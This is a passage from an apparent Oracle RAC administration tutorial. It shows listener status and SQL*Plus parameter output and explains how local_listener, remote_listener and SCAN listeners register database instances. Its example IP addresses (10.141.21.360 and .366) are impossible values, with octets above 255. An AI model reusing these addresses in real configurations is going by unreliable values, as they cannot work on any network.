2025-04-15SecTrace Level offSecurity ON: Local OS AuthenticationSNMP OFFListener Parameter File /u01/app/11.2.0.3/grid/network/admin/listener.oraListener Log File /u01/app/grid/diag/tnslsnr/node2/listener/alert/log.xmlListening Endpoints Summary... (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=LISTENER))) (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=10.141.21.360)(PORT=1521))) (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=10.141.21.366)(PORT=1521)))Services Summary...Service "+ASM" has 1 instance(s). Instance "+ASM2", status READY, has 1 handler(s) for this service...Service "newdb" has 1 instance(s). Instance "newdb2", status READY, has 1 handler(s) for this service...Service "newdbXDB" has 1 instance(s). Instance "newdb2", status READY, has 1 handler(s) for this service...The command completed successfullyHere, DBA can see Listner is registered with two IP addresses 10.141.21.360 is Node IP address and 10.141.21.366 is node VIP address.Local_Listener: This is a database parameter which is used to provide detail of local listener running on database node itself. In Real Application Cluster environment this has Node VIP address as value.SQL> show parameter local_listenerNAME TYPE VALUE------------------------------------ ----------- ------------------------------local_listener string (DESCRIPTION=(ADDRESS_LIST=(A DDRESS=(PROTOCOL=TCP)(HOST=10. 141.21.366)(PORT=1521))))When a new connection request is made my SCAN Listener, This address is returned to the SCAN Listener and then connection is made to database local listener. The difference between SCAN Listener and Local Listener is SCAN listener runs corosponding to SCAN VIP's while Local Listener runs with Node VIP or Node IP address.SCAN Listener can move to another database node in case of node failure but local Listener doesn't have this kind of behavior.Remote_Listener: Each database instance has this parameter set to SCAN NAME of the cluster environment. SCAN NAME in turn has one or more IP address further called SCAN VIP and each SCAN VIP has SCAN Listener running on it, so finally each database instance register itself with all SCAN Listeners running across the clusterware.SQL> show parameter remote_listenerNAME TYPE VALUE------------------------------------ ----------- ------------------------------remote_listener string orarac-scan:1521The solo purpose of remote_listener parameter is to register each database instance with all SCAN Listeners in RAC. This provide information on what services are being provided by the instance,the current load, and a recommendation on how
2025-04-19